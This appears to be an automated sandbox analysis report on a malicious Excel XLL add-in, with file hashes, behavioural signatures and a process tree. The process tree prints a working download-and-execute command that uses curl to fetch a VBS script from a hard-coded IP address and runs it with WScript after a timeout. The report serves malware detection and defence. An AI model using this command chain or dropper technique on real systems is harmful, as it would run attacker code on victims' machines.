Analysis
-
max time kernel
143s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
23-09-2023 02:11
Static task
static1
Behavioral task
behavioral1
Sample
98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f.xll
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f.xll
Resource
win10v2004-20230915-en
General
-
Target
98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f.xll
-
Size
50KB
-
MD5
8866d0e530cb613fde59c5476ea6c331
-
SHA1
e77beeb201303b739a9c4536514e48adc2118900
-
SHA256
98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f
-
SHA512
73d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea
-
SSDEEP
1536:9lnq2U5JsS6Nh5wFXscKjrtN/5zqGyiNwmHWR03aY:9c9HQNh5wFXscKXHRzaiNnVqY
Malware Config
Extracted
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
me.execmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Control Panel\International\Geo\Nation me.exe Key value queried \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
me.exepid process 1484 me.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 4228 EXCEL.EXE 4228 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 3920 timeout.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE -
Modifies registry class 1 IoCs
Processes:
cmd.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings cmd.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4228 EXCEL.EXE -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 4228 EXCEL.EXE 4228 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 4228 EXCEL.EXE 4228 EXCEL.EXE 4228 EXCEL.EXE 4228 EXCEL.EXE 4228 EXCEL.EXE 4228 EXCEL.EXE 4228 EXCEL.EXE 4228 EXCEL.EXE 4228 EXCEL.EXE 4228 EXCEL.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
EXCEL.EXEme.execmd.exedescription pid process target process PID 4228 wrote to memory of 1484 4228 EXCEL.EXE me.exe PID 4228 wrote to memory of 1484 4228 EXCEL.EXE me.exe PID 1484 wrote to memory of 4876 1484 me.exe cmd.exe PID 1484 wrote to memory of 4876 1484 me.exe cmd.exe PID 4876 wrote to memory of 880 4876 cmd.exe curl.exe PID 4876 wrote to memory of 880 4876 cmd.exe curl.exe PID 4876 wrote to memory of 3920 4876 cmd.exe timeout.exe PID 4876 wrote to memory of 3920 4876 cmd.exe timeout.exe PID 4876 wrote to memory of 3260 4876 cmd.exe WScript.exe PID 4876 wrote to memory of 3260 4876 cmd.exe WScript.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4228 -
C:\Users\Public\me.exeC:\Users\Public\me.exe about:"<script>var b = new ActiveXObject("wscript.shell"); b.run('cmd /c C:\\Windows\\system32\\curl.exe -o c:\\users\\public\\1.vbs http://178.236.247.73/mWMepfb/123&&timeout 10&&c:\\users\\public\\1.vbs', 0); window.close();</script>"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1484 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://178.236.247.73/mWMepfb/123&&timeout 10&&c:\users\public\1.vbs3⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4876 -
C:\Windows\system32\curl.exeC:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://178.236.247.73/mWMepfb/1234⤵PID:880
-
C:\Windows\system32\timeout.exetimeout 104⤵
- Delays execution with timeout.exe
PID:3920 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\users\public\1.vbs"4⤵PID:3260
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f.xll
Filesize50KB
MD58866d0e530cb613fde59c5476ea6c331
SHA1e77beeb201303b739a9c4536514e48adc2118900
SHA25698c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f
SHA51273d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea
-
C:\Users\Admin\AppData\Local\Temp\98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f.xll
Filesize50KB
MD58866d0e530cb613fde59c5476ea6c331
SHA1e77beeb201303b739a9c4536514e48adc2118900
SHA25698c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f
SHA51273d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea
-
Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
-
Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045